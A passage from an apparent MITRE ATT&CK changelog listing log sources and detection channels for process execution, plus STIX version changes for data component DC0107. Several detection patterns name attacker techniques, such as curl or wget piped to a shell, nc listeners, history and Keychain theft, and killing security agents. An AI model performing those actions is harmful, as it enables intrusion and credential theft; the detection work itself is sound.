'execve of launchctl or pkill'}, {'name': 'macos:unifiedlog', 'channel': 'process::exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of klist, kinit, or tools interacting with ccache outside normal user context'}, {'name': 'macos:osquery', 'channel': 'Execution of non-standard binaries accessing Kerberos APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Electron-based binary spawning shell or script interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'Electron app spawning unexpected child process'}, {'name': 'esxi:shell', 'channel': '/root/.ash_history or /etc/init.d/'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls with high-frequency or known bandwidth-intensive tools'}, {'name': 'macos:unifiedlog', 'channel': 'exec or spawn calls to proxy tools or torrent clients'}, {'name': 'containers:osquery', 'channel': 'bandwidth-intensive command execution from within a container namespace'}, {'name': 'macos:unifiedlog', 'channel': 'process launch'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --info --predicate \'subsystem == "com.apple.cfprefsd"\''}, {'name': 'macos:unifiedlog', 'channel': 'execution of security, sqlite3, or unauthorized binaries'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected applications generating outbound DNS queries'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=1'}, {'name': 'macos:osquery', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected child process of Safari or Chrome'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or syscall invoking vm artifact check commands (e.g., dmidecode, lspci, dmesg)'}, {'name': 'macos:unifiedlog', 'channel': 'execution of system_profiler, ioreg, kextstat with argument patterns related to VM/sandbox checks'}, {'name': 'macos:unifiedlog', 'channel': 'process writes or modifies files in excluded paths'}, {'name': 'macos:unifiedlog', 'channel': 'process'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.mail. exec.'}, {'name': 'macos:unifiedlog', 'channel': 'execution of memory inspection tools (lldb, gdb, osqueryi)'}, {'name': 'esxi:vobd', 'channel': '/var/log/vobd.log'}, {'name': 'kubernetes:apiserver', 'channel': 'kubectl exec or kubelet API calls targeting running pods'}, {'name': 'docker:audit', 'channel': 'Process execution events within container namespace context'}, {'name': 'auditd:SYSCALL', 'channel': 'process persists beyond parent shell termination'}, {'name': 'macos:unifiedlog', 'channel': 'background process persists beyond user logout'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of scripts or binaries sourced from mail directories (/var/mail, ~/Maildir)'}, {'name': 'macos:unifiedlog', 'channel': 'Preview.app, Safari.app, or Mail.app spawning new processes outside normal patterns'}, {'name': 'esxi:hostd', 'channel': 'process execution across cloud VM'}, {'name': 'auditd:EXECVE', 'channel': 'systemctl spawning managed processes'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of processes linked to hijacked sessions (e.g., anomalous parent-child process lineage)'}, {'name': 'macos:unifiedlog', 'channel': 'exec events where web process starts a shell/tooling'}, {'name': 'docker:events', 'channel': 'Docker/Kubernetes audit of exec/attach (kubectl exec) or unexpected child processes inside container'}, {'name': 'macos:unifiedlog', 'channel': 'exec of osascript, bash, curl with suspicious parameters'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of container management CLIs (docker, crictl, kubectl) or interpreted shells (sh, bash, python) within container context'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of discovery commands targeting backup binaries, processes, or config paths'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution logs showing discovery commands like mdfind, system_profiler, or launchctl list'}, {'name': 'macos:osquery', 'channel': 'process_events OR launchd'}, {'name': 'auditd:EXECVE', 'channel': 'execve'}, {'name': 'macos:osquery', 'channel': 'launchd or process_events'}, {'name': 'macos:unifiedlog', 'channel': 'process and file events via log stream'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of scripts or binaries spawned from browser processes'}, {'name': 'macos:unifiedlog', 'channel': 'Browser processes launching unexpected interpreters (osascript, bash)'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of defaults, plutil, or common editors (vim/nano) targeting plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'EXECVE'}, {'name': 'macos:unifiedlog', 'channel': 'process:exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of bash, python, or perl processes spawned by browser/email client'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of osascript, bash, or Terminal initiated from Mail.app or Safari'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of /bin/sh,/bin/bash,/usr/bin/curl,/usr/bin/python by service accounts (e.g., apache, mysql, nobody) immediately after inbound network activity.'}, {'name': 'macos:osquery', 'channel': "parent_name in ('sshd','httpd','screensharingd') spawning shells or scripting runtimes."}, {'name': 'macos:unifiedlog', 'channel': 'process activity stream'}, {'name': 'auditd:SYSCALL', 'channel': 'SYSCALL record where exe contains passwd/userdel/chage and auid != root'}, {'name': 'macos:unifiedlog', 'channel': 'Post-login execution of unrecognized child process from launchd or loginwindow'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of base64\|openssl\|xxd\|python\|perl with arguments matching Base64 flags'}, {'name': 'macos:unifiedlog', 'channel': 'process command line contains base64, -enc, openssl enc -base64'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: arguments contain Base64-like strings'}, {'name': 'esxi:shell', 'channel': 'commands containing base64, openssl enc -base64, xxd -p'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of process launched via loginwindow session restore'}, {'name': 'macos:unifiedlog', 'channel': 'process: exec + filewrite: ~/.ssh/authorized_keys'}, {'name': 'containerd:runtime', 'channel': '/var/log/containers/.log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Java apps or other processes with hidden window attributes'}, {'name': 'macos:unifiedlog', 'channel': 'Process Execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve on code or jetbrains-gateway with remote flags'}, {'name': 'macos:unifiedlog', 'channel': 'process: code or jetbrains-gateway launching with --tunnel or --remote'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'processImagePath CONTAINS "curl" OR "osascript"\''}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd, shred, wipe targeting block devices'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of sleep or ping command within script interpreted by bash/python'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or socket/connect system calls from processes using crypto libraries'}, {'name': 'macos:unifiedlog', 'channel': 'Process using AES/RC4 routines unexpectedly'}, {'name': 'linux:osquery', 'channel': 'execution of known firewall binaries'}, {'name': 'auditd:SYSCALL', 'channel': 'type=EXECVE or SYSCALL for /bin/date, /usr/bin/timedatectl, /sbin/hwclock, /bin/cat /etc/timezone, /bin/cat /proc/uptime'}, {'name': 'linux:osquery', 'channel': "execve: command like 'date', 'timedatectl', 'hwclock', 'cat /etc/timezone'"}, {'name': 'macos:unifiedlog', 'channel': 'process exec events of systemsetup, date, ioreg with command_line parameters indicating time discovery'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: binary == "/usr/sbin/systemsetup" and args contains "-gettimezone"'}, {'name': 'macos:osquery', 'channel': "execve: command LIKE '%systemsetup -gettimezone%' OR '%date%'"}, {'name': 'macos:unifiedlog', 'channel': 'execution of osascript, curl, or unexpected automation'}, {'name': 'macos:unifiedlog', 'channel': 'exec /usr/bin/pwpolicy'}, {'name': 'auditd:SYSCALL', 'channel': 'socket(AF_PACKET\|AF_INET, SOCK_RAW, ), setsockopt(… SO_ATTACH_FILTER\|SO_ATTACH_BPF …), bpf(cmd=BPF_PROG_LOAD), open/openat path="/dev/bpf" (BSD/macOS-like) or setcap cap_net_raw.'}, {'name': 'linux:syslog', 'channel': 'KERN messages about eBPF program load/verify or LSM denials related to bpf.'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'open/openat of /dev/bpf; ioctl BIOCSETF-like operations.'}, {'name': 'macos:unifiedlog', 'channel': 'Exec of tcpdump, rvictl, custom tools linked to libpcap.A.dylib; sysextd/systemextensionsctl events for NetworkExtension content filters.'}, {'name': 'auditd:EXECVE', 'channel': '/usr/sbin/postfix, /usr/sbin/exim, /usr/sbin/sendmail'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of known flash tools (e.g., flashrom, fwupd)'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.firmwareupdater activity or update-firmware binary invoked'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of system tools like dmidecode, lspci, lscpu, dmesg, systemd-detect-virt'}, {'name': 'macos:unifiedlog', 'channel': "exec or spawn of 'system_profiler', 'ioreg', 'kextstat', 'sysctl', or calls to sysctl API"}, {'name': 'macos:endpointSecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Suspicious binaries or scripts interacting with authentication binaries (sshd, gdm, login)'}, {'name': 'macos:osquery', 'channel': 'execve: Processes unexpectedly invoking Keychain or authentication APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: execve calls where a browser/webview process is parent and child is interpreter (python, sh, ruby) or downloader (curl, wget)'}, {'name': 'macos:unifiedlog', 'channel': 'process_create: Process creation where parent is Safari/Google Chrome and child is script interpreter or signed-but-unusual helper binary'}, {'name': 'auditd:EXECVE', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'process:launch'}, {'name': 'auditd:EXECVE', 'channel': 'Shell commands invoked by SQL process such as postgres, mysqld, or mariadbd'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of smbclient, smbmap, rpcclient, nmblookup, crackmapexec smb'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC: Process execution of "sharing -l", "smbutil view", "mount_smbfs"'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of scp, rsync, curl with remote destination'}, {'name': 'macos:unifiedlog', 'channel': 'logMessage contains pbpaste or osascript'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call with argv matching known disk enumeration commands (lsblk, parted, fdisk)'}, {'name': 'macos:unifiedlog', 'channel': 'process launch of diskutil or system_profiler with SPStorageDataType'}, {'name': 'esxi:hostd', 'channel': "execution of esxcli with args matching 'storage', 'filesystem', 'core device list'"}, {'name': 'macos:unifiedlog', 'channel': 'Mail.app executing with parameters updating rules state'}, {'name': 'esxi:shell', 'channel': '/var/log/vmkernel.log, /var/log/vmkwarning.log'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: Exec of ffmpeg, avfoundation-based binaries, or custom signed apps accessing camera'}, {'name': 'kubernetes:apiserver', 'channel': 'exec into pod followed by secret retrieval via API'}, {'name': 'macos:unifiedlog', 'channel': 'process_name IN ("VBoxManage", "prlctl") AND command CONTAINS ("list", "show")'}, {'name': 'macos:unifiedlog', 'channel': 'exec srm\|exec openssl\|exec gpg'}, {'name': 'linux:osquery', 'channel': 'Process execution with LD_PRELOAD or modified library path'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of process with DYLD_INSERT_LIBRARIES set'}, {'name': 'linux:Sysmon', 'channel': 'process creation events linked to container namespaces executing host-level binaries'}, {'name': 'WinEventlog:Security', 'channel': 'EventCode=4688'}, {'name': 'macos:unifiedlog', 'channel': 'process and signing chain events'}, {'name': 'macos:unifiedlog', 'channel': 'launchservices events for misleading extensions'}, {'name': 'fs:fsusage', 'channel': 'Execution of disguised binaries'}, {'name': 'linux:osquery', 'channel': 'process listening or connecting on non-standard ports'}, {'name': 'macos:unifiedlog', 'channel': 'launchd services binding to non-standard ports'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, connect'}, {'name': 'esxi:cron', 'channel': 'process or cron activity'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binaries with unsigned or anomalously signed certificates'}, {'name': 'auditd:SYSCALL', 'channel': 'execve logging for /usr/bin/systemctl and systemd-run'}, {'name': 'macos:osquery', 'channel': 'Invocation of osascript or dylib injection'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of files saved in mail or download directories'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Terminal, osascript, or other interpreters originating from Mail or Preview'}, {'name': 'macos:unifiedlog', 'channel': 'process events'}, {'name': 'linux:syslog', 'channel': 'Unauthorized sudo or shell access, especially leading to file changes in /var/www or /srv/http'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of unexpected terminal or web scripts modifying /Library/WebServer/Documents'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of CLI tools like psql, mysql, mongo, sqlite3'}, {'name': 'macos:unifiedlog', 'channel': 'Process start of Java or native DB client tools'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or tccd-related entries'}, {'name': 'macos:osquery', 'channel': 'query: process_events, launchd, and tcc.db access'}, {'name': 'ebpf:syscalls', 'channel': 'process execution or network connect from just-created container PID namespace'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of pip, npm, gem, or similar package managers'}, {'name': 'macos:unifiedlog', 'channel': 'Command line invocation of pip3, brew install, npm install from interactive Terminal'}, {'name': 'auditd:SYSCALL', 'channel': 'fork/exec of service via PID 1 (systemd)'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of ssh/scp/sftp without corresponding authentication log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of ssh or sftp without corresponding login event'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: execve where exe=/usr/bin/python3 or similar interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'launch of remote desktop app or helper binary'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected processes making network calls based on DNS-derived ports'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl spawning new processes'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl activity and process creation'}, {'name': 'containerd:events', 'channel': 'New container with suspicious image name or high resource usage'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Python, Swift, or other binaries invoking archiving libraries'}, {'name': 'linux:osquery', 'channel': 'Processes linked with libssl or crypto libraries making outbound connections'}, {'name': 'macos:unifiedlog', 'channel': 'Process invoking SSL routines from Security framework'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of binaries located in /etc/init.d/ or systemd service paths'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binary listed in newly modified LaunchAgent plist'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of bless or nvram modifying boot parameters'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected processes registered with launchd'}, {'name': 'macos:unifiedlog', 'channel': 'Process launch'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, osascript, or unexpected Office processes'}, {'name': 'macos:osquery', 'channel': 'exec'}, {'name': 'macos:unifiedlog', 'channel': 'Trust validation failures or bypass attempts during notarization and code signing checks'}, {'name': 'esxi:vmkernel', 'channel': 'spawned shell or execution environment activity'}, {'name': 'macos:unifiedlog', 'channel': 'process_exec: image in {/bin/bash,/bin/zsh,/usr/bin/osascript,/usr/bin/python,/usr/bin/curl,/usr/bin/ssh,/usr/bin/open} AND parent in {Preview, TextEdit, Microsoft Word, Microsoft Excel, AdobeReader, Archive Utility, Finder}'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: exe in {/bin/bash,/bin/sh,/usr/bin/python,/usr/bin/perl,/usr/bin/php,/usr/bin/node,/usr/bin/curl,/usr/bin/wget,/usr/bin/xdg-open,/usr/bin/ssh,/usr/bin/rundll32 (wine)} AND ppid process is a document viewer/browser'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd/sgdisk with arguments writing to sector 0 or partition table'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of zip, ditto, hdiutil, or openssl by processes not normally associated with archiving'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for chmod, chown, chflags with unusual parameters or targets'}, {'name': 'm365:defender', 'channel': 'AdvancedHunting(DeviceEvents, ProcessCreate, ImageLoad, AMSI/ETW derived signals)'}, {'name': 'macos:unifiedlog', 'channel': 'execve or dylib load from memory without backing file'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands that alter firewall or start listeners: iptables\|nft\|ufw\|firewall-cmd\|pfctl\|systemctl start sshd/telnet/dropbear; raw-socket/libpcap tools (tcpdump, tshark, nmap --raw).'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of pfctl, socketfilterfw, launchctl start ssh/telnet, libpcap consumers.'}, {'name': 'esxi:shell', 'channel': 'Shell Execution'}, {'name': 'macos:unifiedlog', 'channel': 'Unusual child process tree indicating attempted recovery after crash'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of binaries/scripts presenting false health messages for security daemons'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of processes mimicking Apple Security & Privacy GUIs'}, {'name': 'WinEventLog:Microsoft-Windows-Security-Auditing', 'channel': 'EventCode=4688'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, setifflags'}, {'name': 'macos:osquery', 'channel': "process_events where path like '%tcpdump%'"}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd, shred, or wipe with arguments targeting block devices'}, {'name': 'auditd:EXECVE', 'channel': 'systemctl stop auditd, kill -9 , or modifications to /etc/selinux/config'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, git, or Office processes with network connections'}, {'name': 'macos:unifiedlog', 'channel': 'log stream - process subsystem'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls for qemu-system, kvm, or VBoxHeadless'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution for VBoxHeadless, prl_vm_app, vmware-vmx'}, {'name': 'macos:unifiedlog', 'channel': 'process logs'}, {'name': 'esxi:shell', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of interpreters (python, perl), custom binaries, or shell utilities with long arguments containing non-standard tokens'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC: arguments contain long, non-standard tokens / custom alphabets'}, {'name': 'macos:unifiedlog', 'channel': 'command line or log output shows non-standard encoding routines'}, {'name': 'esxi:shell', 'channel': 'commands containing long non-standard tokens or custom lookup tables'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of /usr/sbin/installer spawning child process from within /private/tmp or package contents'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of dpkg or rpm followed by fork/execve from within postinst, prerm, etc.'}, {'name': 'macos:unifiedlog', 'channel': 'execve: Helper tools invoked through XPC executing unexpected binaries'}, {'name': 'macos:unifiedlog', 'channel': 'execution of modified binary without valid signature'}, {'name': 'auditd:SYSCALL', 'channel': "execve: exe in (/usr/bin/bash,/usr/bin/sh,/usr/bin/zsh,/usr/bin/python) AND cmdline matches '(curl\|wget).(\\\|\|\\\|\\ssh\|bash)\|base64\\s-d\|python\\s-c'"}, {'name': 'macos:unifiedlog', 'channel': "exec: ParentImage in (Terminal, iTerm2) AND Image in (/bin/zsh,/bin/bash,/usr/bin/python) AND CommandLine matches '(curl\|wget).(\\\|\|\\\|\\ssh\|bash)\|base64 -D\|python -c'"}, {'name': 'macos:unifiedlog', 'channel': 'process created with repeated ICMP or UDP flood behavior'}, {'name': 'fs:fsusage', 'channel': 'binary execution of security_authtrampoline'}, {'name': 'macos:unifiedlog', 'channel': 'process: exec'}, {'name': 'esxi:vmkernel', 'channel': 'Exec'}, {'name': 'macos:unifiedlog', 'channel': 'Child processes of Safari, Chrome, or Firefox executing scripting interpreters'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of older or non-standard interpreters'}, {'name': 'linux:osquery', 'channel': 'process execution events for permission modification utilities with command-line analysis'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for chmod, chown, chflags with parameter analysis and target path examination'}, {'name': 'macos:osquery', 'channel': 'process execution monitoring for permission modification utilities with command-line argument analysis'}, {'name': 'auditd:SYSCALL', 'channel': 'Invocation of packet generation tools (e.g., hping3, nping) or fork bombs'}, {'name': 'macos:osquery', 'channel': 'Execution of flooding tools or compiled packet generators'}, {'name': 'esxi:hostd', 'channel': 'process'}, {'name': 'auditd:SYSCALL', 'channel': 'execve for proxy tools'}, {'name': 'macos:unifiedlog', 'channel': 'process, socket, and DNS logs'}, {'name': 'macos:osquery', 'channel': 'process_events table'}, {'name': 'macos:unifiedlog', 'channel': "Command line containing `trap` or `echo 'trap` written to login shell files"}, {'name': 'macos:unifiedlog', 'channel': 'log collect --predicate'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or nanosleep with no stdout/stderr I/O'}, {'name': 'macos:unifiedlog', 'channel': 'launchd or osascript spawns process with delay command'}, {'name': 'linux:syslog', 'channel': 'systemd-udevd spawning user-defined action from RUN+='}, {'name': 'ebpf:syscalls', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': 'process:spawn'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "exec"\''}, {'name': 'auditd:EXECVE', 'channel': 'cat\|less\|grep accessing .bash_history from a non-shell process'}, {'name': 'auditd:EXECVE', 'channel': 'Process execution via .desktop Exec path from /etc/xdg/autostart or ~/.config/autostart'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of dpkg, rpm, or other package manager with list flag'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of system_profiler or osascript invoking enumeration'}, {'name': 'auditd:SYSCALL', 'channel': 'apache2 or nginx spawning sh, bash, or python interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'httpd spawning bash, zsh, python, or osascript'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of /usr/libexec/security_authtrampoline or child processes originating from non-trusted binaries triggering credential prompts'}, {'name': 'macos:unifiedlog', 'channel': 'execution of security or osascript'}, {'name': 'WinEventLog:security', 'channel': 'EventCode=4688'}, {'name': 'macos:unifiedlog', 'channel': 'launchd spawning processes tied to new or modified LaunchDaemon .plist entries'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of ping, nping, or crafted network packets via bash or python to reflection services'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of commands modifying iptables/nftables to block selective IPs'}, {'name': 'macos:unifiedlog', 'channel': 'System process modifications altering DNS/proxy settings'}, {'name': 'containerd:Events', 'channel': 'unusual process spawned from container image context'}, {'name': 'macos:osquery', 'channel': 'curl, python scripts, rsync with internal share URLs'}, {'name': 'macos:unifiedlog', 'channel': 'process: spawn, exec'}, {'name': 'macos:osquery', 'channel': 'Rapid spawning of resource-heavy applications (e.g., Preview, Safari, Office)'}, {'name': 'macos:unifiedlog', 'channel': 'Process creation events where command line = pmset with arguments affecting sleep, hibernatemode, displaysleep'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected apps performing repeated DNS lookups'}, {'name': 'macos:unifiedlog', 'channel': 'launchservices or loginwindow events'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with LD_PRELOAD or linker-related environment variables set'}, {'name': 'macos:unifiedlog', 'channel': 'execution of process with DYLD_INSERT_LIBRARIES set'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious Swift/Objective-C or scripting processes writing archive-like outputs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of re-parented process'}, {'name': 'linux:osquery', 'channel': 'Anomalous parent PID change'}, {'name': 'macos:unifiedlog', 'channel': 'Process creation with parent PID of 1 (launchd)'}, {'name': 'linux:osquery', 'channel': 'child process invoking dynamic linker post-ptrace'}, {'name': 'macos:osquery', 'channel': 'Processes executing kextload, spctl, or modifying kernel extension directories'}, {'name': 'macos:osquery', 'channel': 'Unsigned or ad-hoc signed process executions in user contexts'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of diskutil or hdiutil attaching hidden partitions'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for discovery utilities (system_profiler, sw_vers, dscl, networksetup) with command-line parameter analysis'}, {'name': 'macos:osquery', 'channel': 'process event monitoring with focus on discovery utilities and cryptographic framework usage correlation'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected apps generating frequent DNS queries'}, {'name': 'macos:unifiedlog', 'channel': 'process exec'}, {'name': 'auditd:SYSCALL', 'channel': 'socket: Suspicious creation of AF_UNIX sockets outside expected daemons'}, {'name': 'macos:unifiedlog', 'channel': 'Non-standard processes invoking financial applications or payment APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Agent/headless flags (listen/connect/reverse/tunnel) or remote-control binaries spawning shells'}, {'name': 'auditd:SYSCALL', 'channel': 'systemctl enable/start: Creation/enablement of custom .service units in /etc/systemd/system'}, {'name': 'macos:unifiedlog', 'channel': 'Process exec of remote-control apps or binaries with headless/connect flags'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: systemctl stop, service stop, or kill -9 on security daemons (e.g., falcon-sensor, auditd)'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl unload, kill, or removal of security agent daemons'}, {'name': 'macos:unifiedlog', 'channel': 'process activity, exec events'}, {'name': 'macos:unifiedlog', 'channel': 'log stream process subsystem'}, {'name': 'macos:unifiedlog', 'channel': 'process:exec and kext load events'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --info --predicate \'eventMessage CONTAINS "exec"\''}, {'name': 'WinEventLog:Microsoft-Windows-DotNETRuntime', 'channel': 'Unexpected AppDomain creation events or anomalous AppDomainManager assembly load behavior'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of network stress tools or anomalies in socket/syscall behavior'}, {'name': 'macos:unifiedlog', 'channel': 'Unsigned binary execution following SIP change'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands altering firewall or enabling listeners (iptables, nft, ufw, firewall-cmd, systemctl start ssh/telnet, ip route add, tcpdump, tshark)'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of /sbin/pfctl, /usr/libexec/ApplicationFirewall/socketfilterfw, ifconfig, tcpdump, npcap/libpcap consumers'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of zip, ditto, hdiutil, or openssl by non-terminal parent processes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binaries with TCC protected access under unexpected parent processes such as Finder.app, SystemUIServer, or nsurlsessiond'}, {'name': 'WinEventLog:AppLocker', 'channel': 'EventCode=8003,8004'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, unlink'}, {'name': 'macos:osquery', 'channel': 'launchd, processes'}, {'name': 'linux:osquery', 'channel': 'socat, ssh, or nc processes opening unexpected ports'}, {'name': 'macos:unifiedlog', 'channel': 'process execution of ssh with -L/-R forwarding flags'}, {'name': 'macos:unifiedlog', 'channel': 'launchd or cron spawning mining binaries'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or socket/connect system calls for processes using RSA handshake'}, {'name': 'macos:unifiedlog', 'channel': 'Process invoking SecKeyCreateRandomKey or asymmetric crypto APIs'}, {'name': 'azure:vmguest', 'channel': 'Unexpected execution of cloud agent processes (e.g., WindowsAzureGuestAgent.exe, ssm-agent) followed by arbitrary script or binary execution'}, {'name': 'macos:unifiedlog', 'channel': 'Script interpreter invoked by nginx/apache worker process'}, {'name': 'macos:unifiedlog', 'channel': 'execution of Office binaries with network activity'}, {'name': 'macos:unifiedlog', 'channel': 'launch of bash/zsh/python/osascript targeting key file locations'}, {'name': 'macos:unifiedlog', 'channel': 'execution of /sbin/emond with child processes launched'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'provider: ETW CreateProcess events linking msbuild.exe to suspicious children where standard logs are incomplete'}, {'name': 'macos:unifiedlog', 'channel': 'shutdown -h now or reboot'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Code.app, idea, JetBrainsToolbox, eclipse with install/extension flags'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for system discovery utilities (system_profiler, sysctl, networksetup, ioreg) with parameter analysis'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'BSM audit events for process execution and system call monitoring during reconnaissance'}, {'name': 'esxi:hostd', 'channel': 'host daemon events related to VM operations and configuration queries during reconnaissance'}, {'name': 'esxi:vmkernel', 'channel': 'VMware kernel events for hardware and system configuration access during environmental validation'}, {'name': 'linux:osquery', 'channel': 'processes modifying environment variables related to history logging'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: parent process is usb/hid device handler, child process bash/python invoked'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, rclone, or Office apps invoking network sessions'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of kextstat, kextfind, or ioreg targeting driver information'}, {'name': 'macos:endpointsecurity', 'channel': 'exec events'}, {'name': 'macos:unifiedlog', 'channel': 'Process creation involving binaries interacting with resource fork data'}, {'name': 'macos:unifiedlog', 'channel': 'process event'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of suspicious exploit binaries targeting security daemons'}, {'name': 'macos:osquery', 'channel': 'execve: Unsigned or unnotarized processes launched with high privileges'}, {'name': 'macos:unifiedlog', 'channel': 'security OR injection attempts into 1Password OR LastPass'}]

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:27.797000+00:00	2025-10-21 19:28:39.339000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	2.0
x_mitre_data_source_ref	x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22

[DC0107] Process History/Live Data

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0107', 'external_id': 'DC0107'}]
x_mitre_log_sources		[{'name': 'Operational Databases', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--1b8c9f31-ad35-4850-bf8c-80c565ad3552

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:39:54.996000+00:00	2025-10-21 15:10:28.402000+00:00
